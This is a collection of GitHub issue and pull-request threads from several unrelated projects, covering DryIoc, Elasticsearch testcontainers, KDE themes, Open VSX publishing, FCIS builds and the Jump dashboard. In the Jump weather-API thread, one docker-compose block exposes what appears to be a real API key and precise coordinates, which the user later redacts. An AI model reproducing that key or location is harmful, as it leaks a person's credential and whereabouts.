Linken moet op Patient.link.reference, en daar staat een URL naar de zelfde patient op de andere FHIR server. We hebben hier zelf vat op, omdat ik waarschijnlijk nu eerst handmatig die Patient resources ga maken. Daarin selecteer ik dan niet op id, maar juist of identifier (BSN).

repo: dHealthNL/synthea


text:
Omit mut from Tokenizer

This PR implemented a stateless version of Tokenizer for multithreading.

@vbkaisetsu
Could you review the current API design found in the cargo doc rather than the many file changes included in this PR?
If there are detailed modification points, could you give me them with another PR?

@vbkaisetsu Could you approve it again because of the merge?

repo: daac-tools/vibrato


text:
pagination integration for backend and frontend

Based on the statement mentioned on the issue here are the following updates:

Update the controller to add pagination usign query params for friends and list page.
update the user intefrace with appropriate pages contained the paginated list to be viewd.

Sample: (Here's the sample view for the list handling the pagination).
pagination.webm
Issue Number: #307

@AshuKr22  can you review the pull request??

repo: daccotta-org/daccotta


text:
🛑 Ireport is down

In 84947cf, Ireport (https://irepartners.com/ireport/) was down:

HTTP code: 202
Response time: 773 ms

Resolved: Ireport is back up in 09b6416 after 8 minutes.

repo: dadapunk/upptime


text:
RegisterMapping does not respect initializers

Hi,
I'm registering configuration items and decided it might be a good idea to validate them inside of initializers. Sometimes configuration items can be accessed via another service i.e. interface. Initializer is triggered if you request for original service, but not for the mapped one.
I might consider registering initializers for interfaces as well but RegisterMapping seems to have only generic flavour and I have to register configurations via reflection - it might me possible but is cumbersome
Here is a repro:
//DryIoc.dll version=4.1.4
class InitializerWithMapping
{
    [Test]
    public void Example()
    {
        var container = new Container();

        var config = new Config(15);
        container.UseInstance(config);

        bool isValid = false;
        container.RegisterInitializer<Config>((setting, resolver) =>
            isValid = true //TODO perform validation logic
        );

        container.RegisterMapping<IReadOnlyConfig, Config>();

        //var resolved = container.Resolve<Config>(); //this triggers validation
        var resolved = container.Resolve<IReadOnlyConfig>();
        Assert.That(resolved.Number, Is.EqualTo(15)); //resolution works properly

        Assert.That(isValid, Is.True); //validation is not triggered
    }
}

interface IReadOnlyConfig
{
    int Number { get; }
}

class Config : IReadOnlyConfig
{
    public int Number { get; }

    public Config(int number) => Number = number;
}

Hi @MichalBrylka
The answer is to use Decorators directly.
Here we go https://dotnetfiddle.net/72C65Y
Full code:
using System;
using DryIoc;

public class Program
{
	public static void Main()
	{
        var container = new Container();

        var config = new Config(15);

		// NOTE: UseInstance does not work with decorators and initializer (which is kind of decorator in disguise)
        //container.UseInstance(config);
		container.RegisterInstance(config); // or you may use `container.RegisterInstanceMany(config)` and avoid the call to RegisterMapping
        container.RegisterMapping<IReadOnlyConfig, Config>();

		// registers decorators for the Config and its public interfaces (maybe be constomized)
        container.RegisterMany<Config>(made: Made.Of(typeof(Program).GetMethod(nameof(ValidateConfig))), setup: Setup.Decorator);

		container.RegisterInstance<Action<Config>>(cfg => cfg.Number += 1);

        var validatedConfig         = container.Resolve<Config>();
		var validatedReadonlyConfig = container.Resolve<IReadOnlyConfig>();
    }

	public static Config ValidateConfig(Config cfg, Action<Config> validator) {
		validator(cfg);
		Console.WriteLine($"Validating config with Number={cfg.Number}");
		return cfg;
	}
}

public interface IReadOnlyConfig
{
    int Number { get; set; }
}

public class Config : IReadOnlyConfig
{
    public int Number { get; set; }

    public Config(int number) => Number = number;
}

@dadhi thanks for your quick response.
It kind of works - I mean with some polishing I can get what I want here without resorting to some hacks like building concrete RegisterInitializer method etc.
But, in terms of initialization logic, how can we ensure, on IoC level, that initializer for concrete class can be called only once ?
i.e.
var validatedReadonlyConfig = container.Resolve<IReadOnlyConfig>(); //call initializer here
var validatedConfig = container.Resolve<Config>(); //here object is already initialized

Make Decorator a singleton, but yes - you have multiple options:
        container.RegisterMany<Config>(made: Made.Of(typeof(Program).GetMethod(nameof(ValidateConfig))),
                                       //reuse: Reuse.Singleton;   //do this
									   setup: Setup.DecoratorWith(
                                           useDecorateeReuse: true //or that - I would prefer this acpproach, it also can be turn On in Container rules via `new Container(rules => rules.UseDecorateeReuseForDecorators)`
                                       ));

nice, thanks.
but let's assume that you have own validator. We are registering it and would like to reuse. How can we do that with Made.Of (without ValidateConfig method)?
something like Made.Of((resolver, config) => resolver.Resolve.Validate(config))
//register with:  container.Register<MyValidator>(Reuse.Singleton);

public class MyValidator
{
    public void Validate(object instance) //parameter can be generic if needed
    {
        //TODO - add errors
    }
}

Like this maybe https://dotnetfiddle.net/72C65Y:
		var validator = new MyValidator();
		container.RegisterDelegate<Config, Config>(
            cfg => { validator.Validate(cfg); return cfg; },
			setup: Setup.DecoratorWith(useDecorateeReuse: true));

ok, superb. To be honest I'd still prefer that RegisterInitializer registration would call initializer once and before first resolution but since your proposals work for me - there is nothing else but give you another star and close the issue ;-)

Hi,
I would still argue that the behavior of Initializers is counter-intuitive:
https://dotnetfiddle.net/xPDECq
I think RegisterMapping should respect Initializers as user would typically attach Initializer to the implementation, not service type.
@dadhi what`s your view on that ? Should the issue be reopened ?

@Leszek-Kowalski
Sometimes the implementation type is not known by Container e.g.
container.RegisterDelegate<IService>(_ => CreateService()). Until you call the delegate you don't know the implementation type - so you cannot attach the things to the implementation all the time, it is more of "implementation detail" pun intended.
That's why initializers and decorators in general designed around the service type which is always known.
You may design your own thing for your case - like in this issue, so I would prefer to keep it closed.

authors: Leszek-Kowalski MichalBrylka dadhi

repo: dadhi/DryIoc


text:
Connection closed exception when using volume

Hi.
I'm getting ConnectionClosedException when using volume.
 @Rule
 public final ElasticsearchContainer container = new ElasticsearchContainer();

 @Before
 public void initialize(){
     container.withBaseUrl("docker.elastic.co/elasticsearch/elasticsearch-oss");
     container.withClasspathResourceMapping("config/elasticsearch.yml", "/usr/share/elasticsearch/config/elasticsearch.yml", BindMode.READ_ONLY);
     container.start();
 }

 @Test
 public void someTestMethod() throws IOException {

     final Document document = new Document("title", "content");
     final Gson gson = new Gson();

     RestHighLevelClient client = new RestHighLevelClient(RestClient.builder(container.getHost()));

     IndexRequest request = new IndexRequest("twitter", "tweet");
     request.source(gson.toJson(document), XContentType.JSON);
     IndexResponse response2 = client.index(request);
     assertNotNull(response2.getId());

     client.close();
     container.stop();

 }

The elasticsearch.yml file contains http.port setting which has default value
http.port: 9200

Output

SLF4J: Failed to load class "org.slf4j.impl.StaticLoggerBinder".
SLF4J: Defaulting to no-operation (NOP) logger implementation
SLF4J: See http://www.slf4j.org/codes.html#StaticLoggerBinder for further details.
ℹ Checking the system...
✔ Docker version should be at least 1.6.0
✔ Docker environment should have more than 2GB free disk space
✔ File should be mountable
ERROR StatusLogger No log4j2 configuration file found. Using default configuration: logging only errors to the console. Set system property 'log4j2.debug' to show Log4j2 internal initialization logging.
org.apache.http.ConnectionClosedException: Connection closed
at org.apache.http.nio.protocol.HttpAsyncRequestExecutor.endOfInput(HttpAsyncRequestExecutor.java:344)
at org.apache.http.impl.nio.DefaultNHttpClientConnection.consumeInput(DefaultNHttpClientConnection.java:261)
at org.apache.http.impl.nio.client.InternalIODispatch.onInputReady(InternalIODispatch.java:81)
at org.apache.http.impl.nio.client.InternalIODispatch.onInputReady(InternalIODispatch.java:39)
at org.apache.http.impl.nio.reactor.AbstractIODispatch.inputReady(AbstractIODispatch.java:114)
at org.apache.http.impl.nio.reactor.BaseIOReactor.readable(BaseIOReactor.java:162)
at org.apache.http.impl.nio.reactor.AbstractIOReactor.processEvent(AbstractIOReactor.java:337)
at org.apache.http.impl.nio.reactor.AbstractIOReactor.processEvents(AbstractIOReactor.java:315)
at org.apache.http.impl.nio.reactor.AbstractIOReactor.execute(AbstractIOReactor.java:276)
at org.apache.http.impl.nio.reactor.BaseIOReactor.execute(BaseIOReactor.java:104)
at org.apache.http.impl.nio.reactor.AbstractMultiworkerIOReactor$Worker.run(AbstractMultiworkerIOReactor.java:588)
at java.lang.Thread.run(Thread.java:745)

I tried first to update to latest testcontainers version (1.8.0) but I'm not successful for now. See #34.

Hello @dadoonet and @hakdogan,
is there any update for this issue? We stuck on the same error yet.

Could you open an issue in https://github.com/testcontainers/testcontainers-java/tree/master/modules/elasticsearch ?

authors: bekihm dadoonet hakdogan


text:
WIP Load meta for themes

I try to display more beautiful theme names for Global KDE Themes in the settings.
Fixes #23
Fixes #30

I'm now at a point where I have the real names and the ones used earlier. I guess I have to delete a specific file that is generated for the UI?

Looks good so far and a smart move to take the original theme names! But we are facing some problems here, a quick overview how it currently works:

Settings UI is loaded
get_kde_themes() is called and updates the options(light and dark) for the combofields (Theme Dropdowns) and adds in the new values. Please note that at this point the Dropdown will not default to a theme since no theme is selected at this point, only the dropdown options are added.
In this line we set the default for the selected option in the combofield. So we go through the options added in the step before and see if one matches with the one set inside the config. We save the index of the found option
Now we set the index of the found theme as the currently selected option.

This is currently how this is handled. One more problem will occur when we are going to save. When we are saving it will use the currently selected theme and update this inside the config file.
So if we are using the short theme names it will update this inside the config and later on break any functionality that needs the full length name like lookandfeeltool
What could be a possible solution?
Basically we need to map the full length theme names with the short names and use the short names inside the dropdown but save the long names. Before the default option is selected we simply map it to the short name and set this instead.
I did some research on my own system and found something that could break it, so error handling is needed. Basically check the screenshot -> so if no theme name is found it should use the full length name instead.

I created now 3 functions:

get_kde_theme_names() returns a map with short names as key and long names as value. If no short name was found, the key is the long name.
get_kde_theme_short() translates a long theme name to a short theme name,
get_kde_theme_long() does the opposite.

It seems to work, but I still can't figure out why I have both theme names now in the dropdown:

There was a small error inside the if condition, since we are dealing with a map we cannot use in without providing a key/value pair.
I added a simple exception to catch 2 errors. One error was that it will crash if no file is found, I also used this exception to say if no file is found just use the long name. Check the Code below. It works fine with that.
        # get the actual name
        for long in long_names:
            # trying to get the Desktop file
            try:
                # load the name from the metadata.desktop file
                with open('/usr/share/plasma/look-and-feel/{long}/metadata.desktop'.format(**locals()), 'r') as file:
                    # search for the name
                    for line in file:
                        if 'Name=' in line:
                            name: str = ''
                            write: bool = False
                            for letter in line:
                                if letter == '\n':
                                    write = False
                                if write:
                                    name += letter
                                if letter == '=':
                                    write = True
                            print(name)
                            themes[name] = long
                            break
            # if no file exist lets just use the long name
            except:
                themes[long] = long
        return themes

Oh, ok, thanks :)
Works flawlessly now.

I ran git pull and install again, but I don't see this change in my Yin-Yang. Did I do something wrong?

No you did everything correct, the problem here lies that every theme creator installs the theme differently. You can read the thread to see how it is currently implemented.
If you know where on your system the themes with the long names are installed please let me know

The location is ~/.local/share/plasma/look-and-feel/ and the drop down seems to be using the directory names and not what is given with the name tag in the .desktop file for a theme:

Yes this is already used. However there are some themes that are installed differently. There would also need to be a function in places that takes the long name and breaks it down to the last part.

I think you use the X-KDE-PluginInfo-Name value in the metadata.desktop file instead of the Name field.
For instance for the Inverse theme:
Name=Inverse X-KDE-PluginInfo-Name=com.github.yeyushengfan258.Inverse

@tneo @l0drex this is fixed and on master now. Theme names are working fine now see
#49

Nice! :-)
Can you sort the list alphabetically in the drop-down, so that is easier to read?

authors: daehruoydeef l0drex tneo

repo: daehruoydeef/Yin-Yang


text:
Missing License

Can you please add a license to this project.  Preferably Apache 2 :)

Sorry, I missed this - All of my other ones are MIT, any issues with that?

Yeah that would be cool.

authors: curtpm daemonl


text:
Publish the extension to Open VSX

Hello there!
Please publish this extension to the Open VSX marketplace.
Context
Unfortunately, as Microsoft prohibits usages of the Microsoft marketplace by any other products or redistribution of .vsix files from it, in order to use VS Code extensions in non-Microsoft products, we kindly ask that you take ownership of the VS Code extension namespace in OpenVSX and publish this extension on Open VSX.
What is OpenVSX? Why does it exist?
OpenVSX is a vendor neutral alternative to the MS marketplace used by most other derivatives of VS Code like VSCodium, Gitpod, OpenVSCode, Theia based IDEs, and so on.
How can you publish to Open VSX?
The docs to publish an extension can be found here. This process is straightforward and shouldn't take too long. Essentially, you need an authentication token and to execute the command ovsx publish to publish your plugin. See this example from RedHat publishes their Java extension: redhat-developer/vscode-java@ff51dbf/Jenkinsfile#L73-L82
You can also find an example PR that contributes a release GitHub Action which publishes to GitHub, MS and OpenVSX at the same time. I would like to contribute an update to https://github.com/dafny-lang/ide-vscode/blob/master/.github/workflows/ci.yaml if it's wanted in order to enable publishing.

I would like to contribute an update to https://github.com/dafny-lang/ide-vscode/blob/master/.github/workflows/ci.yaml if it's wanted in order to enable publishing.

Yes feel free to suggest a PR for that, I can review it !

I would like to contribute an update to https://github.com/dafny-lang/ide-vscode/blob/master/.github/workflows/ci.yaml if it's wanted in order to enable publishing

That would be great. We'd love to be in the OpenVSX marketplace.

any news on that?

Publishing the Dafny Extension in parallel to OpenVSX would benefit the Dafny community. It should be easy and can be done with these two steps:

Claiming the namespace “dafny-lang” (can be different) on open-vsx.org and get a token (how to)

Modifying the Github pipeline to publish it to OpenVSX (very similar as already been done for VS Marketplace)

@RustanLeino @keyboardDrummer I would be happy to help with that and sende a PR, however, especially the first step has to be done from a member of https://github.com/dafny-lang to prove legitimacy (or you add me temporarily, I work with the initial developers of the extension at OST).

@RustanLeino @keyboardDrummer is there any news on this? Let me know if I can help

Sorry for the lack of action on our side. I've created the open-vsx namespace and a request to authorize it.

Published on OpenVSX now: https://open-vsx.org/extension/dafny-lang/ide-vscode

Very nice, thanks!

authors: MikaelMayer filiptronicek keyboardDrummer turbotimon

repo: dafny-lang/ide-vscode


text:
[bug] dagger do causes seg fault when running in directory with no actions

Signed-off-by: Andre Passos andrebritopassos@gmail.com
Bug: dagger do causes seg fault when running in directory with no actions #2245

Thank you for the contribution, @ab-passos!

authors: ab-passos aluzzardi

repo: dagger/dagger


text:
Does this work with another setState?

I did not actually try the code, just looked at the source and this https://github.com/dai-shi/react-hooks-easy-redux/blob/master/src/index.js#L50 part seems like it would prevent any updates that were not triggered by the redux change. Like if I had also local useState which would change, this code would just prevent any updates until also the redux store changed. Is that correct or is there some part I do not get about this approach?

The argument of useReduxState can be used for it.
I just created another example.
https://github.com/dai-shi/react-hooks-easy-redux/blob/master/examples/05_localstate/Counter.tsx#L11
I know it's tricky. I wish we would have a better solution.

Ah right, missed that, thanks for explanation.

Not at all. Thanks for pointing out. I think the document should be more improved.

authors: aocenas dai-shi

repo: dai-shi/react-hooks-easy-redux


text:
HI,when the code release,i have waiting for a long time.

RUTI

Sorry for the delay. We will put all the effort in code release after ICCV deadline. Hopefully, it can be done in April.

If the code is based on Caffe, could you publish the trainval.prototxt before the full code release? Maybe even the prototxt would answer many questions about module connectivity.

Hi - is there an update on the availability of the code. Even if just the caffe trained weights would be great!

I wonder who will first release the codes, Mask R-CNN or FCIS?

@1292765944 perhaps you could see this?
https://github.com/CharlesShang/FastMaskRCNN

We have just released the code. We sincerely apologize for the delay. This is given rise of switching from our internal Caffe version to the public MXNet, which provide good support of fast multi-GPU support.
Enjoy! It is worth noting that:
-FCIS provides a simple, fast and accurate framework for instance segmentation.
-Different from MNC, FCIS performs instance mask estimation and categorization jointly and simultaneously and estimates class-specific masks.
-We did not exploit the various techniques & tricks in the Mask RCNN system, like increasing RPN anchor numbers (from 12 to 15), enlarging the image (shorter side from 600 to 800 pixels), utilizing FPN features and aligned ROI pooling. These techniques & tricks should be orthogonal to our simple baseline.

At this moment it gives the following error.
xxx@deep:~/work/FCIS$ /home/xxx/anaconda2/bin/python ./fcis/demo.py
Traceback (most recent call last):
File "./fcis/demo.py", line 17, in
from utils.image import resize, transform
File "/home/xxx/work/FCIS/fcis/../lib/utils/image.py", line 6, in
from bbox.bbox_transform import clip_boxes
File "/home/xxx/work/FCIS/fcis/../lib/bbox/bbox_transform.py", line 11, in
from bbox import bbox_overlaps_cython
ImportError: cannot import name bbox_overlaps_cython

@alexeyda
Did you run sh ./init.sh to build the cython modules? (Following the installation instructions)

Yes, I run it before. Hmm, just run it again and now it worked until the following step:
Traceback (most recent call last):
File "./fcis/demo.py", line 147, in
main()
File "./fcis/demo.py", line 43, in main
sym = sym_instance.get_symbol(config, is_train=False)
File "/home/jank/work/FCIS/fcis/symbols/resnet_v1_101_fcis.py", line 799, in get_symbol
psroipool_cls_seg = mx.contrib.sym.PSROIPooling(name='psroipool_cls_seg', data=fcis_cls_seg, rois=rois,
AttributeError: 'module' object has no attribute 'PSROIPooling'

Please make sure you installed mxnet with our operators correctly.
Check https://github.com/msracver/Deformable-ConvNets/issues/8 for related discussion.

Is it possible to provide to a Docker image or a Dockerfile outlining steps involved?
I am working on it but might need couple of days.

@alexeyda I have met the same problem, did you solve it ?

@alexeyda  Hi I have met the same problem. Do you solve it? I'm sure I have followed the instruction.

@ZhengtianXu Are you sure, you have copied operator_cxx contents, not the directory itself, into mxnet/src/operators/contrib? i.e
cp -r ${YOUT_FCIS_ROOT}/fcis/operator_cxx/* ${YOUR_MXNET_ROOT}/src/operator/contrib/

@alexeyda  hi, have you solved your problem?? I have the same error

@dbobrenko  I followed what you have said, copy all files in operator_cxx to anaconda3/lib/python3.5/site-packages/mxnet/src/operator/contrib/, but it still doesn't work, by the way, how can I recompile mxnet?

@lc8631058 make sure you have compiled MXNET by yourself (not from pip), and copied these files before the MXNET compilation. For example:

Clone FCIS and MXNET repos as described in readme
Run bash init.sh in FCIS dir
Copy operators:  cp ${YOUR_FCIS_ROOT}/fcis/operator_cxx/* ${YOUR_MXNET_ROOT}/src/operator/contrib/
Compile MXNET as described in their instructions

@dbobrenko hi, thanks a lot bro! now I run demo.py correctly in Jupyter notebook, but the show_masks function just output the original demo images without any changes, I wonder why?

@dbobrenko just found the answer in #21 ,thanks!


text:
Request WeatherAPI

Discussed in https://github.com/daledavies/jump/discussions/63

Originally posted by Tataukee October  3, 2022
Can you add weatherapi ? The openweather has never been working for me ?

And this works without the API key? The errors in your logs seem unrelated to problems with the weather API.
I'm reading this on my phone so can't quite see it properly but it looks like the site status function is caching a URL that is at the end of a redirect from one of your site's, it is complaining about the filename of the cache file created. This might be a bug but it isn't in any way related to the weather API.
Could you try with the API key in place and the CACHEBYPASS option set to true?

This is the only logs I could see unfortunately and the issue is happening from different browsers and different machines in my LAN including from my other iDevice, however when removing the OWAPI key the page just works .
This is by the way docker running in Synology and my browser is Safari I do not have any special setup or caching issues when running other containers . Tried both variables none of them seems resolving the issue .
I have the OWAPI Key working in other project , tested this morning and it's working . The app is launched from the same browser with the same machine and showing my weather correctly .

Thanks, can you test as I asked above with cachebypass and then checkstatus?

Just to confirm with you, those variables do you want me to include them on the docker compose environnement .
something like this in the screenshot ?

p/s: I have done one by one by the way , following your instructions

Yes as docker environment variables, thanks

None of the above seems to work . ( tried different browsers )

Can you forward the logs with each of these in place?

CACHEBYPASS = true logs :

 ██ ██    ██ ███    ███ ██████
 ██ ██    ██ ████  ████ ██   ██
 ██ ██    ██ ██ ████ ██ ██████

██   ██ ██    ██ ██  ██  ██ ██
█████   ██████  ██      ██ ██
https://github.com/daledavies/jump

Repopulating web root with application files.
You are using Jump v1.3.0 (1658838937)

Checking if backgrounds, favicon, search or sites volumes have been mounted.

Backgrounds directory is mapped... symlinking.
Favicon directory is mapped... symlinking.
Sites directory is mapped... symlinking.
Search directory is mapped... symlinking.

All done! Starting nginx/php services now.

[04-Oct-2022 06:28:03] NOTICE: fpm is running, pid 23
[04-Oct-2022 06:28:03] NOTICE: ready to handle connections
172.19.0.1 - - [04/Oct/2022:06:28:22 +0000] "GET /api/weather/1140c11dc9db2c37a8c9f46b275b0f25878d2ea667533831c531e5c9ebc68eeb/ HTTP/1.1" 401 47 "http://10.0.1.18:8122/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36" "-" 0.041 0.041 . -
172.19.0.1 - - [04/Oct/2022:06:29:34 +0000] "GET /tag/devOP/ HTTP/1.1" 200 5157 "http://10.0.1.18:8122/tag/media server/?nocache=1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15" "-" 0.059 0.059 . -
172.19.0.1 - - [04/Oct/2022:06:29:34 +0000] "GET /background-css.php HTTP/1.1" 200 143 "http://10.0.1.18:8122/tag/devOP/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15" "-" 0.004 0.004 . -
172.19.0.1 - - [04/Oct/2022:06:29:34 +0000] "GET /api/status// HTTP/1.1" 401 47 "http://10.0.1.18:8122/tag/devOP/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15" "-" 0.003 0.003 . -
172.19.0.1 - - [04/Oct/2022:06:29:34 +0000] "GET /assets/font/quicksand-v28-latin-regular.woff2 HTTP/1.1" 200 13776 "http://10.0.1.18:8122/tag/devOP/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15" "-" 0.000 - . -
172.19.0.1 - - [04/Oct/2022:06:29:34 +0000] "GET /api/weather// HTTP/1.1" 401 47 "http://10.0.1.18:8122/tag/devOP/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15" "-" 0.002 0.002 . -
172.19.0.1 - - [04/Oct/2022:06:29:34 +0000] "GET /assets/backgrounds/documerica-6FLfd2_OxBM-unsplash.jpg HTTP/1.1" 200 488175 "http://10.0.1.18:8122/tag/devOP/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15" "-" 0.010 - . -
CHECKSTATUS = false logs :

 ██ ██    ██ ███    ███ ██████
 ██ ██    ██ ████  ████ ██   ██
 ██ ██    ██ ██ ████ ██ ██████

██   ██ ██    ██ ██  ██  ██ ██
█████   ██████  ██      ██ ██
https://github.com/daledavies/jump

Repopulating web root with application files.
You are using Jump v1.3.0 (1658838937)

Checking if backgrounds, favicon, search or sites volumes have been mounted.

Backgrounds directory is mapped... symlinking.
Favicon directory is mapped... symlinking.
Sites directory is mapped... symlinking.
Search directory is mapped... symlinking.

All done! Starting nginx/php services now.

[04-Oct-2022 06:34:23] NOTICE: fpm is running, pid 22
[04-Oct-2022 06:34:23] NOTICE: ready to handle connections
172.19.0.1 - - [04/Oct/2022:06:34:49 +0000] "GET /tag/devOP/ HTTP/1.1" 200 5157 "http://10.0.1.18:8122/tag/media server/?nocache=1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15" "-" 0.074 0.074 . -
172.19.0.1 - - [04/Oct/2022:06:34:50 +0000] "GET /background-css.php HTTP/1.1" 200 143 "http://10.0.1.18:8122/tag/devOP/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15" "-" 0.008 0.008 . -
172.19.0.1 - - [04/Oct/2022:06:34:50 +0000] "GET /api/weather// HTTP/1.1" 401 47 "http://10.0.1.18:8122/tag/devOP/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15" "-" 0.003 0.003 . -
172.19.0.1 - - [04/Oct/2022:06:34:50 +0000] "GET /assets/backgrounds/hector-falcon-ZJ9POJfmfL4-unsplash.jpg HTTP/1.1" 200 519961 "http://10.0.1.18:8122/tag/devOP/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15" "-" 0.013 - . -
172.19.0.1 - - [04/Oct/2022:06:34:50 +0000] "GET /assets/font/quicksand-v28-latin-regular.woff2 HTTP/1.1" 200 13776 "http://10.0.1.18:8122/tag/devOP/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15" "-" 0.000 - . -
172.19.0.1 - - [04/Oct/2022:06:35:10 +0000] "GET /tag/devOP/ HTTP/1.1" 200 5212 "http://10.0.1.18:8122/tag/media server/?nocache=1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15" "-" 0.028 0.029 . -
172.19.0.1 - - [04/Oct/2022:06:35:10 +0000] "GET /background-css.php HTTP/1.1" 200 130 "http://10.0.1.18:8122/tag/devOP/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15" "-" 0.001 0.001 . -
172.19.0.1 - - [04/Oct/2022:06:35:10 +0000] "GET /api/weather/2ce3dc9af36a84e362239e61c52f1cb9f7199e98300e139c8ba7d202d9f979d1/ HTTP/1.1" 400 22 "http://10.0.1.18:8122/tag/devOP/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15" "-" 0.003 0.004 . -
172.19.0.1 - - [04/Oct/2022:06:35:10 +0000] "GET /assets/font/quicksand-v28-latin-regular.woff2 HTTP/1.1" 304 0 "http://10.0.1.18:8122/tag/devOP/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15" "-" 0.000 - . -
172.19.0.1 - - [04/Oct/2022:06:35:10 +0000] "GET /assets/backgrounds/sea-ga4cb2ef0b_1920.jpg HTTP/1.1" 200 865460 "http://10.0.1.18:8122/tag/devOP/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15" "-" 0.000 - . -
172.19.0.1 - - [04/Oct/2022:06:36:36 +0000] "GET /tag/devOP/ HTTP/1.1" 200 5212 "http://10.0.1.18:8122/tag/media server/?nocache=1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15" "-" 0.024 0.024 . -
172.19.0.1 - - [04/Oct/2022:06:36:36 +0000] "GET /background-css.php HTTP/1.1" 200 146 "http://10.0.1.18:8122/tag/devOP/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15" "-" 0.001 0.001 . -
172.19.0.1 - - [04/Oct/2022:06:36:36 +0000] "GET /api/weather/2ce3dc9af36a84e362239e61c52f1cb9f7199e98300e139c8ba7d202d9f979d1/ HTTP/1.1" 400 22 "http://10.0.1.18:8122/tag/devOP/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15" "-" 0.003 0.003 . -
172.19.0.1 - - [04/Oct/2022:06:36:36 +0000] "GET /assets/font/quicksand-v28-latin-regular.woff2 HTTP/1.1" 304 0 "http://10.0.1.18:8122/tag/devOP/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15" "-" 0.000 - . -

Hi There , Any feedback on this ?

The most recent error logs you forwarded don't actually show any errors, I'm afraid there isn't much for me to work with.
If you manage to capture any errors in the console or the docker error logs please forward them with detail of the configuration options in place at the time.

I was having the same 400 response issue from the weather API too.
I added a container name to the docker compose block, and also changed the environment variables mappings from the example to suite what my other docker image blocks looked like:
From:
landing-page:
  image: daledavies/jump
  ports:
    - 8123:8080
  volumes:
    - /opt/jump/backgrounds:/backgrounds
    - /opt/jump/favicon:/favicon
    - /opt/jump/search:/search
    - /opt/jump/sites:/sites
  environment:
    - SITENAME: 'Home'
    - OWMAPIKEY: 'myApiKeyWasHere'
    - LATLONG: '-34.083260,150.689774'
    - AMPMCLOCK: 'true'
    - SHOWSEARCH: 'false'
    - ALTBGPROVIDER: 'https://source.unsplash.com/random'
    - METRICTEMP: 'true'
    - CHECKSTATUS: 'false'

To:
landing-page:
    container_name: landing-page
    image: daledavies/jump
    ports:
      - 8462:8080
    volumes:
      - /opt/jump/backgrounds:/backgrounds
      - /opt/jump/favicon:/favicon
      - /opt/jump/search:/search
      - /opt/jump/sites:/sites
    environment:
      - SITENAME=Home
      - OWMAPIKEY=c249362bbe942c167cf2834a1920ea8a
      - LATLONG=-34.083260,150.689774
      - AMPMCLOCK=true
      - SHOWSEARCH=false
      - ALTBGPROVIDER=https://source.unsplash.com/random
      - METRICTEMP=true
      - CHECKSTATUS=false

Weather API works fine now 🤷

I was having the same 400 response issue from the weather API too.
I added a container name to the docker compose block, and also changed the environment variables mappings from the example to suite what my other docker image blocks looked like:
From:
landing-page:
  image: daledavies/jump
  ports:
    - 8123:8080
  volumes:
    - /opt/jump/backgrounds:/backgrounds
    - /opt/jump/favicon:/favicon
    - /opt/jump/search:/search
    - /opt/jump/sites:/sites
  environment:
    - SITENAME: 'Home'
    - OWMAPIKEY: 'myApiKeyWasHere'
    - LATLONG: 'mylat,mylong'
    - AMPMCLOCK: 'true'
    - SHOWSEARCH: 'false'
    - ALTBGPROVIDER: 'https://source.unsplash.com/random'
    - METRICTEMP: 'true'
    - CHECKSTATUS: 'false'

To:
landing-page:
    container_name: landing-page
    image: daledavies/jump
    ports:
      - 8462:8080
    volumes:
      - /opt/jump/backgrounds:/backgrounds
      - /opt/jump/favicon:/favicon
      - /opt/jump/search:/search
      - /opt/jump/sites:/sites
    environment:
      - SITENAME=Home
      - OWMAPIKEY=myApiKeyWasHere
      - LATLONG=mylat,mylong
      - AMPMCLOCK=true
      - SHOWSEARCH=false
